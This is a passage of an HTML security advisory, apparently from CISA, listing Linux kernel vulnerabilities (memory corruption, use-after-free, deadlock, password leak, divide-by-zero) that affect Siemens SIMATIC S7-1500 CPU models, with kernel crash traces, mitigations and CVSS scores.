<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23343</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xdp: produce a warning when calculated tailroom is negative Many ethernet drivers report xdp Rx queue frag size as being the same as DMA write size. However, the only user of this field, namely bpf_xdp_frags_increase_tail(), clearly expects a truesize. Such difference leads to unspecific memory corruption issues under certain circumstances, e.g. in ixgbevf maximum DMA write size is 3 KB, so when running xskxceiver's XDP_ADJUST_TAIL_GROW_MULTI_BUFF, 6K packet fully uses all DMA-writable space in 2 buffers. This would be fine, if only rxq-&gt;frag_size was properly set to 4K, but value of 3K results in a negative tailroom, because there is a non-zero page offset. We are supposed to return -EINVAL and be done with it in such case, but due to tailroom being stored as an unsigned int, it is reported to be somewhere near UINT_MAX, resulting in a tail being grown, even if the requested offset is too much (it is around 2K in the abovementioned test). This later leads to all kinds of unspecific calltraces. [ 7340.337579] xskxceiver[1440]: segfault at 1da718 ip 00007f4161aeac9d sp 00007f41615a6a00 error 6 [ 7340.338040] xskxceiver[1441]: segfault at 7f410000000b ip 00000000004042b5 sp 00007f415bffecf0 error 4 [ 7340.338179] in libc.so.6[61c9d,7f4161aaf000+160000] [ 7340.339230] in xskxceiver[42b5,400000+69000] [ 7340.340300] likely on CPU 6 (core 0, socket 6) [ 7340.340302] Code: ff ff 01 e9 f4 fe ff ff 0f 1f 44 00 00 4c 39 f0 74 73 31 c0 ba 01 00 00 00 f0 0f b1 17 0f 85 ba 00 00 00 49 8b 87 88 00 00 00 &lt;4c&gt; 89 70 08 eb cc 0f 1f 44 00 00 48 8d bd f0 fe ff ff 89 85 ec fe [ 7340.340888] likely on CPU 3 (core 0, socket 3) [ 7340.345088] Code: 00 00 00 ba 00 00 00 00 be 00 00 00 00 89 c7 e8 31 ca ff ff 89 45 ec 8b 45 ec 85 c0 78 07 b8 00 00 00 00 eb 46 e8 0b c8 ff ff &lt;8b&gt; 00 83 f8 69 74 24 e8 ff c7 ff ff 8b 00 83 f8 0b 74 18 e8 f3 c7 [ 7340.404334] Oops: general protection fault, probably for non-canonical address 0x6d255010bdffc: 0000 [#1] SMP NOPTI [ 7340.405972] CPU: 7 UID: 0 PID: 1439 Comm: xskxceiver Not tainted 6.19.0-rc1+ #21 PREEMPT(lazy) [ 7340.408006] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-5.fc42 04/01/2014 [ 7340.409716] RIP: 0010:lookup_swap_cgroup_id+0x44/0x80 [ 7340.410455] Code: 83 f8 1c 73 39 48 ba ff ff ff ff ff ff ff 03 48 8b 04 c5 20 55 fa bd 48 21 d1 48 89 ca 83 e1 01 48 d1 ea c1 e1 04 48 8d 04 90 &lt;8b&gt; 00 48 83 c4 10 d3 e8 c3 cc cc cc cc 31 c0 e9 98 b7 dd 00 48 89 [ 7340.412787] RSP: 0018:ffffcc5c04f7f6d0 EFLAGS: 00010202 [ 7340.413494] RAX: 0006d255010bdffc RBX: ffff891f477895a8 RCX: 0000000000000010 [ 7340.414431] RDX: 0001c17e3fffffff RSI: 00fa070000000000 RDI: 000382fc7fffffff [ 7340.415354] RBP: 00fa070000000000 R08: ffffcc5c04f7f8f8 R09: ffffcc5c04f7f7d0 [ 7340.416283] R10: ffff891f4c1a7000 R11: ffffcc5c04f7f9c8 R12: ffffcc5c04f7f7d0 [ 7340.417218] R13: 03ffffffffffffff R14: 00fa06fffffffe00 R15: ffff891f47789500 [ 7340.418229] FS: 0000000000000000(0000) GS:ffff891ffdfaa000(0000) knlGS:0000000000000000 [ 7340.419489] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 7340.420286] CR2: 00007f415bfffd58 CR3: 0000000103f03002 CR4: 0000000000772ef0 [ 7340.421237] PKRU: 55555554 [ 7340.421623] Call Trace: [ 7340.421987] [ 7340.422309] ? softleaf_from_pte+0x77/0xa0 [ 7340.422855] swap_pte_batch+0xa7/0x290 [ 7340.423363] zap_nonpresent_ptes.constprop.0.isra.0+0xd1/0x270 [ 7340.424102] zap_pte_range+0x281/0x580 [ 7340.424607] zap_pmd_range.isra.0+0xc9/0x240 [ 7340.425177] unmap_page_range+0x24d/0x420 [ 7340.425714] unmap_vmas+0xa1/0x180 [ 7340.426185] exit_mmap+0xe1/0x3b0 [ 7340.426644] __mmput+0x41/0x150 [ 7340.427098] exit_mm+0xb1/0x110 [ 7340.427539] do_exit+0x1b2/0x460 [ 7340.427992] do_group_exit+0x2d/0xc0 [ 7340.428477] get_signal+0x79d/0x7e0 [ 7340.428957] arch_do_signal_or_restart+0x34/0x100 [ 7340.429571] exit_to_user_mode_loop+0x8e/0x4c0 [ 7340.430159] do_syscall_64+0x188/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23343">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23351</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_pipapo: split gc into unlink and reclaim phase Yiming Qian reports Use-after-free in the pipapo set type: Under a large number of expired elements, commit-time GC can run for a very long time in a non-preemptible context, triggering soft lockup warnings and RCU stall reports (local denial of service). We must split GC in an unlink and a reclaim phase. We cannot queue elements for freeing until pointers have been swapped. Expired elements are still exposed to both the packet path and userspace dumpers via the live copy of the data structure. call_rcu() does not protect us: dump operations or element lookups starting after call_rcu has fired can still observe the free'd element, unless the commit phase has made enough progress to swap the clone and live pointers before any new reader has picked up the old version. This a similar approach as done recently for the rbtree backend in commit 35f83a75529a ("netfilter: nft_set_rbtree: don't gc elements on insert").</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23351">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23359</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix stack-out-of-bounds write in devmap get_upper_ifindexes() iterates over all upper devices and writes their indices into an array without checking bounds. Also the callers assume that the max number of upper devices is MAX_NEST_DEV and allocate excluded_devices[1+MAX_NEST_DEV] on the stack, but that assumption is not correct and the number of upper devices could be larger than MAX_NEST_DEV (e.g., many macvlans), causing a stack-out-of-bounds write. Add a max parameter to get_upper_ifindexes() to avoid the issue. When there are too many upper devices, return -EOVERFLOW and abort the redirect. To reproduce, create more than MAX_NEST_DEV(8) macvlans on a device with an XDP program attached using BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS. Then send a packet to the device to trigger the XDP redirect path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23359">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23365</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: kalmia: validate USB endpoints The kalmia driver should validate that the device it is probing has the proper number and types of USB endpoints it is expecting before it binds to it. If a malicious device were to not have the same urbs the driver will crash later on when it blindly accesses these endpoints.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23365">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1287.html">CWE-1287 Improper Validation of Specified Type of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23368</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: phy: register phy led_triggers during probe to avoid AB-BA deadlock There is an AB-BA deadlock when both LEDS_TRIGGER_NETDEV and LED_TRIGGER_PHY are enabled: [ 1362.049207] [&lt;8054e4b8&gt;] led_trigger_register+0x5c/0x1fc &lt;-- Trying to get lock "triggers_list_lock" via down_write(&amp;triggers_list_lock); [ 1362.054536] [&lt;80662830&gt;] phy_led_triggers_register+0xd0/0x234 [ 1362.060329] [&lt;8065e200&gt;] phy_attach_direct+0x33c/0x40c [ 1362.065489] [&lt;80651fc4&gt;] phylink_fwnode_phy_connect+0x15c/0x23c [ 1362.071480] [&lt;8066ee18&gt;] mtk_open+0x7c/0xba0 [ 1362.075849] [&lt;806d714c&gt;] __dev_open+0x280/0x2b0 [ 1362.080384] [&lt;806d7668&gt;] __dev_change_flags+0x244/0x24c [ 1362.085598] [&lt;806d7698&gt;] dev_change_flags+0x28/0x78 [ 1362.090528] [&lt;807150e4&gt;] dev_ioctl+0x4c0/0x654 &lt;-- Hold lock "rtnl_mutex" by calling rtnl_lock(); [ 1362.094985] [&lt;80694360&gt;] sock_ioctl+0x2f4/0x4e0 [ 1362.099567] [&lt;802e9c4c&gt;] sys_ioctl+0x32c/0xd8c [ 1362.104022] [&lt;80014504&gt;] syscall_common+0x34/0x58 Here LED_TRIGGER_PHY is registering LED triggers during phy_attach while holding RTNL and then taking triggers_list_lock. [ 1362.191101] [&lt;806c2640&gt;] register_netdevice_notifier+0x60/0x168 &lt;-- Trying to get lock "rtnl_mutex" via rtnl_lock(); [ 1362.197073] [&lt;805504ac&gt;] netdev_trig_activate+0x194/0x1e4 [ 1362.202490] [&lt;8054e28c&gt;] led_trigger_set+0x1d4/0x360 &lt;-- Hold lock "triggers_list_lock" by down_read(&amp;triggers_list_lock); [ 1362.207511] [&lt;8054eb38&gt;] led_trigger_write+0xd8/0x14c [ 1362.212566] [&lt;80381d98&gt;] sysfs_kf_bin_write+0x80/0xbc [ 1362.217688] [&lt;8037fcd8&gt;] kernfs_fop_write_iter+0x17c/0x28c [ 1362.223174] [&lt;802cbd70&gt;] vfs_write+0x21c/0x3c4 [ 1362.227712] [&lt;802cc0c4&gt;] ksys_write+0x78/0x12c [ 1362.232164] [&lt;80014504&gt;] syscall_common+0x34/0x58 Here LEDS_TRIGGER_NETDEV is being enabled on an LED. It first takes triggers_list_lock and then RTNL. A classical AB-BA deadlock. phy_led_triggers_registers() does not require the RTNL, it does not make any calls into the network stack which require protection. There is also no requirement the PHY has been attached to a MAC, the triggers only make use of phydev state. This allows the call to phy_led_triggers_registers() to be placed elsewhere. PHY probe() and release() don't hold RTNL, so solving the AB-BA deadlock.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23368">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23370</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-sysman: Don't hex dump plaintext password data set_new_password() hex dumps the entire buffer, which contains plaintext password data, including current and new passwords. Remove the hex dump to avoid leaking credentials.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23370">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23378</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: act_ife: Fix metalist update behavior Whenever an ife action replace changes the metalist, instead of replacing the old data on the metalist, the current ife code is appending the new metadata. Aside from being innapropriate behavior, this may lead to an unbounded addition of metadata to the metalist which might cause an out of bounds error when running the encode op: [ 138.423369][ C1] ================================================================== [ 138.424317][ C1] BUG: KASAN: slab-out-of-bounds in ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.424906][ C1] Write of size 4 at addr ffff8880077f4ffe by task ife_out_out_bou/255 [ 138.425778][ C1] CPU: 1 UID: 0 PID: 255 Comm: ife_out_out_bou Not tainted 7.0.0-rc1-00169-gfbdfa8da05b6 #624 PREEMPT(full) [ 138.425795][ C1] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 138.425800][ C1] Call Trace: [ 138.425804][ C1] [ 138.425808][ C1] dump_stack_lvl (lib/dump_stack.c:122) [ 138.425828][ C1] print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) [ 138.425839][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425844][ C1] ? __virt_addr_valid (./arch/x86/include/asm/preempt.h:95 (discriminator 1) ./include/linux/rcupdate.h:975 (discriminator 1) ./include/linux/mmzone.h:2207 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1)) [ 138.425853][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425859][ C1] kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:597) [ 138.425868][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425878][ C1] kasan_check_range (mm/kasan/generic.c:186 (discriminator 1) mm/kasan/generic.c:200 (discriminator 1)) [ 138.425884][ C1] __asan_memset (mm/kasan/shadow.c:84 (discriminator 2)) [ 138.425889][ C1] ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425893][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:171) [ 138.425898][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425903][ C1] ife_encode_meta_u16 (net/sched/act_ife.c:57) [ 138.425910][ C1] ? __pfx_do_raw_spin_lock (kernel/locking/spinlock_debug.c:114) [ 138.425916][ C1] ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 3)) [ 138.425921][ C1] ? __pfx_ife_encode_meta_u16 (net/sched/act_ife.c:45) [ 138.425927][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425931][ C1] tcf_ife_act (net/sched/act_ife.c:847 net/sched/act_ife.c:879) To solve this issue, fix the replace behavior by adding the metalist to the ife rcu data structure.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23378">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23379</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: fix divide by zero in the offload path Offloading ETS requires computing each class' WRR weight: this is done by averaging over the sums of quanta as 'q_sum' and 'q_psum'. Using unsigned int, the same integer size as the individual DRR quanta, can overflow and even cause division by zero, like it happened in the following splat: Oops: divide error: 0000 [#1] SMP PTI CPU: 13 UID: 0 PID: 487 Comm: tc Tainted: G E 6.19.0-virtme #45 PREEMPT(full) Tainted: [E]=UNSIGNED_MODULE Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets] Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 &lt;41&gt; f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44 